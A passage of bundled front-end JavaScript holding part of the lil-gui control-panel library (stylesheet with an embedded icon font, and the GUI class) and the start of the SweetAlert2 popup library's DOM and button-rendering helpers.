    }
    .lil-gui.transition > .children {
      transition-duration: 300ms;
      transition-property: height, opacity, transform;
      transition-timing-function: cubic-bezier(0.2, 0.6, 0.35, 1);
      overflow: hidden;
      pointer-events: none;
    }
    .lil-gui .children:empty:before {
      content: "Empty";
      padding: 0 var(--padding);
      margin: var(--spacing) 0;
      display: block;
      height: var(--widget-height);
      font-style: italic;
      line-height: var(--widget-height);
      opacity: 0.5;
    }
    .lil-gui.root > .children > .lil-gui > .title {
      border: 0 solid var(--widget-color);
      border-width: 1px 0;
      transition: border-color 300ms;
    }
    .lil-gui.root > .children > .lil-gui.closed > .title {
      border-bottom-color: transparent;
    }
    .lil-gui + .controller {
      border-top: 1px solid var(--widget-color);
      margin-top: 0;
      padding-top: var(--spacing);
    }
    .lil-gui .lil-gui .lil-gui > .title {
      border: none;
    }
    .lil-gui .lil-gui .lil-gui > .children {
      border: none;
      margin-left: var(--folder-indent);
      border-left: 2px solid var(--widget-color);
    }
    .lil-gui .lil-gui .controller {
      border: none;
    }
     
    .lil-gui input {
      -webkit-tap-highlight-color: transparent;
      border: 0;
      outline: none;
      font-family: var(--font-family);
      font-size: var(--input-font-size);
      border-radius: var(--widget-border-radius);
      height: var(--widget-height);
      background: var(--widget-color);
      color: var(--text-color);
      width: 100%;
    }
    @media (hover: hover) {
      .lil-gui input:hover {
        background: var(--hover-color);
      }
      .lil-gui input:active {
        background: var(--focus-color);
      }
    }
    .lil-gui input:disabled {
      opacity: 1;
    }
    .lil-gui input[type=text],
    .lil-gui input[type=number] {
      padding: var(--widget-padding);
    }
    .lil-gui input[type=text]:focus,
    .lil-gui input[type=number]:focus {
      background: var(--focus-color);
    }
    .lil-gui input::-webkit-outer-spin-button,
    .lil-gui input::-webkit-inner-spin-button {
      -webkit-appearance: none;
      margin: 0;
    }
    .lil-gui input[type=number] {
      -moz-appearance: textfield;
    }
    .lil-gui input[type=checkbox] {
      appearance: none;
      -webkit-appearance: none;
      height: var(--checkbox-size);
      width: var(--checkbox-size);
      border-radius: var(--widget-border-radius);
      text-align: center;
      cursor: pointer;
    }
    .lil-gui input[type=checkbox]:checked:before {
      font-family: "lil-gui";
      content: "✓";
      font-size: var(--checkbox-size);
      line-height: var(--checkbox-size);
    }
    @media (hover: hover) {
      .lil-gui input[type=checkbox]:focus {
        box-shadow: inset 0 0 0 1px var(--focus-color);
      }
    }
    .lil-gui button {
      -webkit-tap-highlight-color: transparent;
      outline: none;
      cursor: pointer;
      font-family: var(--font-family);
      font-size: var(--font-size);
      color: var(--text-color);
      width: 100%;
      height: var(--widget-height);
      text-transform: none;
      background: var(--widget-color);
      border-radius: var(--widget-border-radius);
      border: 1px solid var(--widget-color);
      text-align: center;
      line-height: calc(var(--widget-height) - 4px);
    }
    @media (hover: hover) {
      .lil-gui button:hover {
        background: var(--hover-color);
        border-color: var(--hover-color);
      }
      .lil-gui button:focus {
        border-color: var(--focus-color);
      }
    }
    .lil-gui button:active {
      background: var(--focus-color);
    }
     
    @font-face {
      font-family: "lil-gui";
      src: url("data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAAAUsAAsAAAAACJwAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABHU1VCAAABCAAAAH4AAADAImwmYE9TLzIAAAGIAAAAPwAAAGBKqH5SY21hcAAAAcgAAAD0AAACrukyyJBnbHlmAAACvAAAAF8AAACEIZpWH2hlYWQAAAMcAAAAJwAAADZfcj2zaGhlYQAAA0QAAAAYAAAAJAC5AHhobXR4AAADXAAAABAAAABMAZAAAGxvY2EAAANsAAAAFAAAACgCEgIybWF4cAAAA4AAAAAeAAAAIAEfABJuYW1lAAADoAAAASIAAAIK9SUU/XBvc3QAAATEAAAAZgAAAJCTcMc2eJxVjbEOgjAURU+hFRBK1dGRL+ALnAiToyMLEzFpnPz/eAshwSa97517c/MwwJmeB9kwPl+0cf5+uGPZXsqPu4nvZabcSZldZ6kfyWnomFY/eScKqZNWupKJO6kXN3K9uCVoL7iInPr1X5baXs3tjuMqCtzEuagm/AAlzQgPAAB4nGNgYRBlnMDAysDAYM/gBiT5oLQBAwuDJAMDEwMrMwNWEJDmmsJwgCFeXZghBcjlZMgFCzOiKOIFAB71Bb8AeJy1kjFuwkAQRZ+DwRAwBtNQRUGKQ8OdKCAWUhAgKLhIuAsVSpWz5Bbkj3dEgYiUIszqWdpZe+Z7/wB1oCYmIoboiwiLT2WjKl/jscrHfGg/pKdMkyklC5Zs2LEfHYpjcRoPzme9MWWmk3dWbK9ObkWkikOetJ554fWyoEsmdSlt+uR0pCJR34b6t/TVg1SY3sYvdf8vuiKrpyaDXDISiegp17p7579Gp3p++y7HPAiY9pmTibljrr85qSidtlg4+l25GLCaS8e6rRxNBmsnERunKbaOObRz7N72ju5vdAjYpBXHgJylOAVsMseDAPEP8LYoUHicY2BiAAEfhiAGJgZWBgZ7RnFRdnVJELCQlBSRlATJMoLV2DK4glSYs6ubq5vbKrJLSbGrgEmovDuDJVhe3VzcXFwNLCOILB/C4IuQ1xTn5FPilBTj5FPmBAB4WwoqAHicY2BkYGAA4sk1sR/j+W2+MnAzpDBgAyEMQUCSg4EJxAEAwUgFHgB4nGNgZGBgSGFggJMhDIwMqEAYAByHATJ4nGNgAIIUNEwmAABl3AGReJxjYAACIQYlBiMGJ3wQAEcQBEV4nGNgZGBgEGZgY2BiAAEQyQWEDAz/wXwGAAsPATIAAHicXdBNSsNAHAXwl35iA0UQXYnMShfS9GPZA7T7LgIu03SSpkwzYTIt1BN4Ak/gKTyAeCxfw39jZkjymzcvAwmAW/wgwHUEGDb36+jQQ3GXGot79L24jxCP4gHzF/EIr4jEIe7wxhOC3g2TMYy4Q7+Lu/SHuEd/ivt4wJd4wPxbPEKMX3GI5+DJFGaSn4qNzk8mcbKSR6xdXdhSzaOZJGtdapd4vVPbi6rP+cL7TGXOHtXKll4bY1Xl7EGnPtp7Xy2n00zyKLVHfkHBa4IcJ2oD3cgggWvt/V/FbDrUlEUJhTn/0azVWbNTNr0Ens8de1tceK9xZmfB1CPjOmPH4kitmvOubcNpmVTN3oFJyjzCvnmrwhJTzqzVj9jiSX911FjeAAB4nG3HMRKCMBBA0f0giiKi4DU8k0V2GWbIZDOh4PoWWvq6J5V8If9NVNQcaDhyouXMhY4rPTcG7jwYmXhKq8Wz+p762aNaeYXom2n3m2dLTVgsrCgFJ7OTmIkYbwIbC6vIB7WmFfAAAA==") format("woff");
    }`;
      function _injectStyles(cssContent) {
        const injected = document.createElement("style");
        injected.innerHTML = cssContent;
        const before = document.querySelector("head link[rel=stylesheet], head style");
        if (before) {
          document.head.insertBefore(injected, before);
        } else {
          document.head.appendChild(injected);
        }
      }
      let stylesInjected = false;
      class GUI {
        constructor({
          parent,
          autoPlace = parent === void 0,
          container,
          width,
          title = "Controls",
          injectStyles = true,
          touchStyles = true
        } = {}) {
          this.parent = parent;
          this.root = parent ? parent.root : this;
          this.children = [];
          this.controllers = [];
          this.folders = [];
          this._closed = false;
          this._hidden = false;
          this.domElement = document.createElement("div");
          this.domElement.classList.add("lil-gui");
          this.$title = document.createElement("div");
          this.$title.classList.add("title");
          this.$title.setAttribute("role", "button");
          this.$title.setAttribute("aria-expanded", true);
          this.$title.setAttribute("tabindex", 0);
          this.$title.addEventListener("click", () => this.openAnimated(this._closed));
          this.$title.addEventListener("keydown", (e) => {
            if (e.code === "Enter" || e.code === "Space") {
              e.preventDefault();
              this.$title.click();
            }
          });
          this.$title.addEventListener("touchstart", () => {
          }, { passive: true });
          this.$children = document.createElement("div");
          this.$children.classList.add("children");
          this.domElement.appendChild(this.$title);
          this.domElement.appendChild(this.$children);
          this.title(title);
          if (touchStyles) {
            this.domElement.classList.add("allow-touch-styles");
          }
          if (this.parent) {
            this.parent.children.push(this);
            this.parent.folders.push(this);
            this.parent.$children.appendChild(this.domElement);
            return;
          }
          this.domElement.classList.add("root");
          if (!stylesInjected && injectStyles) {
            _injectStyles(stylesheet);
            stylesInjected = true;
          }
          if (container) {
            container.appendChild(this.domElement);
          } else if (autoPlace) {
            this.domElement.classList.add("autoPlace");
            document.body.appendChild(this.domElement);
          }
          if (width) {
            this.domElement.style.setProperty("--width", width + "px");
          }
          this.domElement.addEventListener("keydown", (e) => e.stopPropagation());
          this.domElement.addEventListener("keyup", (e) => e.stopPropagation());
        }
        add(object, property, $1, max, step) {
          if (Object($1) === $1) {
            return new OptionController(this, object, property, $1);
          }
          const initialValue = object[property];
          switch (typeof initialValue) {
            case "number":
              return new NumberController(this, object, property, $1, max, step);
            case "boolean":
              return new BooleanController(this, object, property);
            case "string":
              return new StringController(this, object, property);
            case "function":
              return new FunctionController(this, object, property);
          }
          console.error(`gui.add failed
        property:`, property, `
        object:`, object, `
        value:`, initialValue);
        }
        addColor(object, property, rgbScale = 1) {
          return new ColorController(this, object, property, rgbScale);
        }
        addFolder(title) {
          return new GUI({ parent: this, title });
        }
        load(obj, recursive = true) {
          if (obj.controllers) {
            this.controllers.forEach((c) => {
              if (c instanceof FunctionController)
                return;
              if (c._name in obj.controllers) {
                c.load(obj.controllers[c._name]);
              }
            });
          }
          if (recursive && obj.folders) {
            this.folders.forEach((f) => {
              if (f._title in obj.folders) {
                f.load(obj.folders[f._title]);
              }
            });
          }
          return this;
        }
        save(recursive = true) {
          const obj = {
            controllers: {},
            folders: {}
          };
          this.controllers.forEach((c) => {
            if (c instanceof FunctionController)
              return;
            if (c._name in obj.controllers) {
              throw new Error(`Cannot save GUI with duplicate property "${c._name}"`);
            }
            obj.controllers[c._name] = c.save();
          });
          if (recursive) {
            this.folders.forEach((f) => {
              if (f._title in obj.folders) {
                throw new Error(`Cannot save GUI with duplicate folder "${f._title}"`);
              }
              obj.folders[f._title] = f.save();
            });
          }
          return obj;
        }
        open(open2 = true) {
          this._closed = !open2;
          this.$title.setAttribute("aria-expanded", !this._closed);
          this.domElement.classList.toggle("closed", this._closed);
          return this;
        }
        close() {
          return this.open(false);
        }
        show(show = true) {
          this._hidden = !show;
          this.domElement.style.display = this._hidden ? "none" : "";
          return this;
        }
        hide() {
          return this.show(false);
        }
        openAnimated(open2 = true) {
          this._closed = !open2;
          this.$title.setAttribute("aria-expanded", !this._closed);
          requestAnimationFrame(() => {
            const initialHeight = this.$children.clientHeight;
            this.$children.style.height = initialHeight + "px";
            this.domElement.classList.add("transition");
            const onTransitionEnd = (e) => {
              if (e.target !== this.$children)
                return;
              this.$children.style.height = "";
              this.domElement.classList.remove("transition");
              this.$children.removeEventListener("transitionend", onTransitionEnd);
            };
            this.$children.addEventListener("transitionend", onTransitionEnd);
            const targetHeight = !open2 ? 0 : this.$children.scrollHeight;
            this.domElement.classList.toggle("closed", !open2);
            requestAnimationFrame(() => {
              this.$children.style.height = targetHeight + "px";
            });
          });
          return this;
        }
        title(title) {
          this._title = title;
          this.$title.innerHTML = title;
          return this;
        }
        reset(recursive = true) {
          const controllers = recursive ? this.controllersRecursive() : this.controllers;
          controllers.forEach((c) => c.reset());
          return this;
        }
        onChange(callback) {
          this._onChange = callback;
          return this;
        }
        _callOnChange(controller) {
          if (this.parent) {
            this.parent._callOnChange(controller);
          }
          if (this._onChange !== void 0) {
            this._onChange.call(this, {
              object: controller.object,
              property: controller.property,
              value: controller.getValue(),
              controller
            });
          }
        }
        onFinishChange(callback) {
          this._onFinishChange = callback;
          return this;
        }
        _callOnFinishChange(controller) {
          if (this.parent) {
            this.parent._callOnFinishChange(controller);
          }
          if (this._onFinishChange !== void 0) {
            this._onFinishChange.call(this, {
              object: controller.object,
              property: controller.property,
              value: controller.getValue(),
              controller
            });
          }
        }
        destroy() {
          if (this.parent) {
            this.parent.children.splice(this.parent.children.indexOf(this), 1);
            this.parent.folders.splice(this.parent.folders.indexOf(this), 1);
          }
          if (this.domElement.parentElement) {
            this.domElement.parentElement.removeChild(this.domElement);
          }
          Array.from(this.children).forEach((c) => c.destroy());
        }
        controllersRecursive() {
          let controllers = Array.from(this.controllers);
          this.folders.forEach((f) => {
            controllers = controllers.concat(f.controllersRecursive());
          });
          return controllers;
        }
        foldersRecursive() {
          let folders = Array.from(this.folders);
          this.folders.forEach((f) => {
            folders = folders.concat(f.foldersRecursive());
          });
          return folders;
        }
      }
      var commonjsGlobal = typeof globalThis !== "undefined" ? globalThis : typeof window !== "undefined" ? window : typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : {};
      
      var sweetalert2_all = { exports: {} };
      (function(module, exports) {
        (function(global2, factory) {
          module.exports = factory();
        })(commonjsGlobal, function() {
          var privateProps = {
            awaitingPromise: /* @__PURE__ */ new WeakMap(),
            promise: /* @__PURE__ */ new WeakMap(),
            innerParams: /* @__PURE__ */ new WeakMap(),
            domCache: /* @__PURE__ */ new WeakMap()
          };
          const swalPrefix = "swal2-";
          const prefix = (items) => {
            const result = {};
            for (const i in items) {
              result[items[i]] = swalPrefix + items[i];
            }
            return result;
          };
          const swalClasses = prefix(["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"]);
          const iconTypes = prefix(["success", "warning", "info", "question", "error"]);
          const consolePrefix = "SweetAlert2:";
          const uniqueArray = (arr) => {
            const result = [];
            for (let i = 0; i < arr.length; i++) {
              if (result.indexOf(arr[i]) === -1) {
                result.push(arr[i]);
              }
            }
            return result;
          };
          const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
          const warn = (message) => {
            console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
          };
          const error = (message) => {
            console.error(`${consolePrefix} ${message}`);
          };
          const previousWarnOnceMessages = [];
          const warnOnce = (message) => {
            if (!previousWarnOnceMessages.includes(message)) {
              previousWarnOnceMessages.push(message);
              warn(message);
            }
          };
          const warnAboutDeprecation = (deprecatedParam, useInstead) => {
            warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
          };
          const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
          const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
          const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
          const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
          const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
          const elementBySelector = (selectorString) => {
            const container = getContainer();
            return container ? container.querySelector(selectorString) : null;
          };
          const elementByClass = (className) => {
            return elementBySelector(`.${className}`);
          };
          const getPopup = () => elementByClass(swalClasses.popup);
          const getIcon = () => elementByClass(swalClasses.icon);
          const getIconContent = () => elementByClass(swalClasses["icon-content"]);
          const getTitle = () => elementByClass(swalClasses.title);
          const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
          const getImage = () => elementByClass(swalClasses.image);
          const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
          const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
          const getConfirmButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`);
          const getDenyButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`);
          const getInputLabel = () => elementByClass(swalClasses["input-label"]);
          const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
          const getCancelButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`);
          const getActions = () => elementByClass(swalClasses.actions);
          const getFooter = () => elementByClass(swalClasses.footer);
          const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
          const getCloseButton = () => elementByClass(swalClasses.close);
          const focusable = `
      a[href],
      area[href],
      input:not([disabled]),
      select:not([disabled]),
      textarea:not([disabled]),
      button:not([disabled]),
      iframe,
      object,
      embed,
      [tabindex="0"],
      [contenteditable],
      audio[controls],
      video[controls],
      summary
    `;
          const getFocusableElements = () => {
            const focusableElementsWithTabindex = Array.from(getPopup().querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])')).sort((a, b) => {
              const tabindexA = parseInt(a.getAttribute("tabindex"));
              const tabindexB = parseInt(b.getAttribute("tabindex"));
              if (tabindexA > tabindexB) {
                return 1;
              } else if (tabindexA < tabindexB) {
                return -1;
              }
              return 0;
            });
            const otherFocusableElements = Array.from(getPopup().querySelectorAll(focusable)).filter((el) => el.getAttribute("tabindex") !== "-1");
            return uniqueArray(focusableElementsWithTabindex.concat(otherFocusableElements)).filter((el) => isVisible$1(el));
          };
          const isModal = () => {
            return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
          };
          const isToast = () => {
            return getPopup() && hasClass(getPopup(), swalClasses.toast);
          };
          const isLoading = () => {
            return getPopup().hasAttribute("data-loading");
          };
          const states = {
            previousBodyPadding: null
          };
          const setInnerHtml = (elem, html) => {
            elem.textContent = "";
            if (html) {
              const parser = new DOMParser();
              const parsed = parser.parseFromString(html, `text/html`);
              Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
                elem.appendChild(child);
              });
              Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
                if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
                  elem.appendChild(child.cloneNode(true));
                } else {
                  elem.appendChild(child);
                }
              });
            }
          };
          const hasClass = (elem, className) => {
            if (!className) {
              return false;
            }
            const classList = className.split(/\s+/);
            for (let i = 0; i < classList.length; i++) {
              if (!elem.classList.contains(classList[i])) {
                return false;
              }
            }
            return true;
          };
          const removeCustomClasses = (elem, params) => {
            Array.from(elem.classList).forEach((className) => {
              if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
                elem.classList.remove(className);
              }
            });
          };
          const applyCustomClass = (elem, params, className) => {
            removeCustomClasses(elem, params);
            if (params.customClass && params.customClass[className]) {
              if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
                warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
                return;
              }
              addClass(elem, params.customClass[className]);
            }
          };
          const getInput$1 = (popup, inputClass) => {
            if (!inputClass) {
              return null;
            }
            switch (inputClass) {
              case "select":
              case "textarea":
              case "file":
                return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
              case "checkbox":
                return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
              case "radio":
                return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
              case "range":
                return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
              default:
                return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
            }
          };
          const focusInput = (input) => {
            input.focus();
            if (input.type !== "file") {
              const val = input.value;
              input.value = "";
              input.value = val;
            }
          };
          const toggleClass = (target, classList, condition) => {
            if (!target || !classList) {
              return;
            }
            if (typeof classList === "string") {
              classList = classList.split(/\s+/).filter(Boolean);
            }
            classList.forEach((className) => {
              if (Array.isArray(target)) {
                target.forEach((elem) => {
                  condition ? elem.classList.add(className) : elem.classList.remove(className);
                });
              } else {
                condition ? target.classList.add(className) : target.classList.remove(className);
              }
            });
          };
          const addClass = (target, classList) => {
            toggleClass(target, classList, true);
          };
          const removeClass = (target, classList) => {
            toggleClass(target, classList, false);
          };
          const getDirectChildByClass = (elem, className) => {
            const children = Array.from(elem.children);
            for (let i = 0; i < children.length; i++) {
              const child = children[i];
              if (child instanceof HTMLElement && hasClass(child, className)) {
                return child;
              }
            }
          };
          const applyNumericalStyle = (elem, property, value) => {
            if (value === `${parseInt(value)}`) {
              value = parseInt(value);
            }
            if (value || parseInt(value) === 0) {
              elem.style[property] = typeof value === "number" ? `${value}px` : value;
            } else {
              elem.style.removeProperty(property);
            }
          };
          const show = function(elem) {
            let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
            elem.style.display = display;
          };
          const hide = (elem) => {
            elem.style.display = "none";
          };
          const setStyle = (parent, selector, property, value) => {
            const el = parent.querySelector(selector);
            if (el) {
              el.style[property] = value;
            }
          };
          const toggle = function(elem, condition) {
            let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
            condition ? show(elem, display) : hide(elem);
          };
          const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
          const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
          const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
          const hasCssAnimation = (elem) => {
            const style = window.getComputedStyle(elem);
            const animDuration = parseFloat(style.getPropertyValue("animation-duration") || "0");
            const transDuration = parseFloat(style.getPropertyValue("transition-duration") || "0");
            return animDuration > 0 || transDuration > 0;
          };
          const animateTimerProgressBar = function(timer) {
            let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
            const timerProgressBar = getTimerProgressBar();
            if (isVisible$1(timerProgressBar)) {
              if (reset) {
                timerProgressBar.style.transition = "none";
                timerProgressBar.style.width = "100%";
              }
              setTimeout(() => {
                timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
                timerProgressBar.style.width = "0%";
              }, 10);
            }
          };
          const stopTimerProgressBar = () => {
            const timerProgressBar = getTimerProgressBar();
            const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
            timerProgressBar.style.removeProperty("transition");
            timerProgressBar.style.width = "100%";
            const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
            const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
            timerProgressBar.style.removeProperty("transition");
            timerProgressBar.style.width = `${timerProgressBarPercent}%`;
          };
          const RESTORE_FOCUS_TIMEOUT = 100;
          const globalState = {};
          const focusPreviousActiveElement = () => {
            if (globalState.previousActiveElement instanceof HTMLElement) {
              globalState.previousActiveElement.focus();
              globalState.previousActiveElement = null;
            } else if (document.body) {
              document.body.focus();
            }
          };
          const restoreActiveElement = (returnFocus) => {
            return new Promise((resolve) => {
              if (!returnFocus) {
                return resolve();
              }
              const x = window.scrollX;
              const y = window.scrollY;
              globalState.restoreFocusTimeout = setTimeout(() => {
                focusPreviousActiveElement();
                resolve();
              }, RESTORE_FOCUS_TIMEOUT);
              window.scrollTo(x, y);
            });
          };
          const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
          const sweetHTML = `
     <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
       <button type="button" class="${swalClasses.close}"></button>
       <ul class="${swalClasses["progress-steps"]}"></ul>
       <div class="${swalClasses.icon}"></div>
       <img class="${swalClasses.image}" />
       <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
       <div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
       <input class="${swalClasses.input}" />
       <input type="file" class="${swalClasses.file}" />
       <div class="${swalClasses.range}">
         <input type="range" />
         <output></output>
       </div>
       <select class="${swalClasses.select}"></select>
       <div class="${swalClasses.radio}"></div>
       <label for="${swalClasses.checkbox}" class="${swalClasses.checkbox}">
         <input type="checkbox" />
         <span class="${swalClasses.label}"></span>
       </label>
       <textarea class="${swalClasses.textarea}"></textarea>
       <div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
       <div class="${swalClasses.actions}">
         <div class="${swalClasses.loader}"></div>
         <button type="button" class="${swalClasses.confirm}"></button>
         <button type="button" class="${swalClasses.deny}"></button>
         <button type="button" class="${swalClasses.cancel}"></button>
       </div>
       <div class="${swalClasses.footer}"></div>
       <div class="${swalClasses["timer-progress-bar-container"]}">
         <div class="${swalClasses["timer-progress-bar"]}"></div>
       </div>
     </div>
    `.replace(/(^|\n)\s*/g, "");
          const resetOldContainer = () => {
            const oldContainer = getContainer();
            if (!oldContainer) {
              return false;
            }
            oldContainer.remove();
            removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
            return true;
          };
          const resetValidationMessage$1 = () => {
            globalState.currentInstance.resetValidationMessage();
          };
          const addInputChangeListeners = () => {
            const popup = getPopup();
            const input = getDirectChildByClass(popup, swalClasses.input);
            const file = getDirectChildByClass(popup, swalClasses.file);
            const range = popup.querySelector(`.${swalClasses.range} input`);
            const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
            const select = getDirectChildByClass(popup, swalClasses.select);
            const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
            const textarea = getDirectChildByClass(popup, swalClasses.textarea);
            input.oninput = resetValidationMessage$1;
            file.onchange = resetValidationMessage$1;
            select.onchange = resetValidationMessage$1;
            checkbox.onchange = resetValidationMessage$1;
            textarea.oninput = resetValidationMessage$1;
            range.oninput = () => {
              resetValidationMessage$1();
              rangeOutput.value = range.value;
            };
            range.onchange = () => {
              resetValidationMessage$1();
              rangeOutput.value = range.value;
            };
          };
          const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
          const setupAccessibility = (params) => {
            const popup = getPopup();
            popup.setAttribute("role", params.toast ? "alert" : "dialog");
            popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
            if (!params.toast) {
              popup.setAttribute("aria-modal", "true");
            }
          };
          const setupRTL = (targetElement) => {
            if (window.getComputedStyle(targetElement).direction === "rtl") {
              addClass(getContainer(), swalClasses.rtl);
            }
          };
          const init = (params) => {
            const oldContainerExisted = resetOldContainer();
            if (isNodeEnv()) {
              error("SweetAlert2 requires document to initialize");
              return;
            }
            const container = document.createElement("div");
            container.className = swalClasses.container;
            if (oldContainerExisted) {
              addClass(container, swalClasses["no-transition"]);
            }
            setInnerHtml(container, sweetHTML);
            const targetElement = getTarget(params.target);
            targetElement.appendChild(container);
            setupAccessibility(params);
            setupRTL(targetElement);
            addInputChangeListeners();
          };
          const parseHtmlToContainer = (param, target) => {
            if (param instanceof HTMLElement) {
              target.appendChild(param);
            } else if (typeof param === "object") {
              handleObject(param, target);
            } else if (param) {
              setInnerHtml(target, param);
            }
          };
          const handleObject = (param, target) => {
            if (param.jquery) {
              handleJqueryElem(target, param);
            } else {
              setInnerHtml(target, param.toString());
            }
          };
          const handleJqueryElem = (target, elem) => {
            target.textContent = "";
            if (0 in elem) {
              for (let i = 0; i in elem; i++) {
                target.appendChild(elem[i].cloneNode(true));
              }
            } else {
              target.appendChild(elem.cloneNode(true));
            }
          };
          const animationEndEvent = (() => {
            if (isNodeEnv()) {
              return false;
            }
            const testEl = document.createElement("div");
            const transEndEventNames = {
              WebkitAnimation: "webkitAnimationEnd",
              animation: "animationend"
            };
            for (const i in transEndEventNames) {
              if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
                return transEndEventNames[i];
              }
            }
            return false;
          })();
          const measureScrollbar = () => {
            const scrollDiv = document.createElement("div");
            scrollDiv.className = swalClasses["scrollbar-measure"];
            document.body.appendChild(scrollDiv);
            const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
            document.body.removeChild(scrollDiv);
            return scrollbarWidth;
          };
          const renderActions = (instance, params) => {
            const actions = getActions();
            const loader = getLoader();
            if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
              hide(actions);
            } else {
              show(actions);
            }
            applyCustomClass(actions, params, "actions");
            renderButtons(actions, loader, params);
            setInnerHtml(loader, params.loaderHtml);
            applyCustomClass(loader, params, "loader");
          };
          function renderButtons(actions, loader, params) {
            const confirmButton = getConfirmButton();
            const denyButton = getDenyButton();
            const cancelButton = getCancelButton();
            renderButton(confirmButton, "confirm", params);
            renderButton(denyButton, "deny", params);
            renderButton(cancelButton, "cancel", params);
            handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
            if (params.reverseButtons) {
              if (params.toast) {
                actions.insertBefore(cancelButton, confirmButton);
                actions.insertBefore(denyButton, confirmButton);
              } else {
                actions.insertBefore(cancelButton, loader);
                actions.insertBefore(denyButton, loader);
                actions.insertBefore(confirmButton, loader);
              }
            }
          }
          function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
            if (!params.buttonsStyling) {
              removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
              return;
            }
            addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
            if (params.confirmButtonColor) {
              confirmButton.style.backgroundColor = params.confirmButtonColor;
              addClass(confirmButton, swalClasses["default-outline"]);
            }
            if (params.denyButtonColor) {
              denyButton.style.backgroundColor = params.denyButtonColor;
              addClass(denyButton, swalClasses["default-outline"]);
            }
            if (params.cancelButtonColor) {
              cancelButton.style.backgroundColor = params.cancelButtonColor;
              addClass(cancelButton, swalClasses["default-outline"]);
            }
          }
          function renderButton(button, buttonType, params) {
            toggle(button, params[`show${capitalizeFirstLetter(buttonType)}Button`], "inline-block");
            setInnerHtml(button, params[`${buttonType}ButtonText`]);
            button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`]);
            button.className = swalClasses[buttonType];
            applyCustomClass(button, params, `${buttonType}Button`);
            addClass(button, params[`${buttonType}ButtonClass`]);
          }
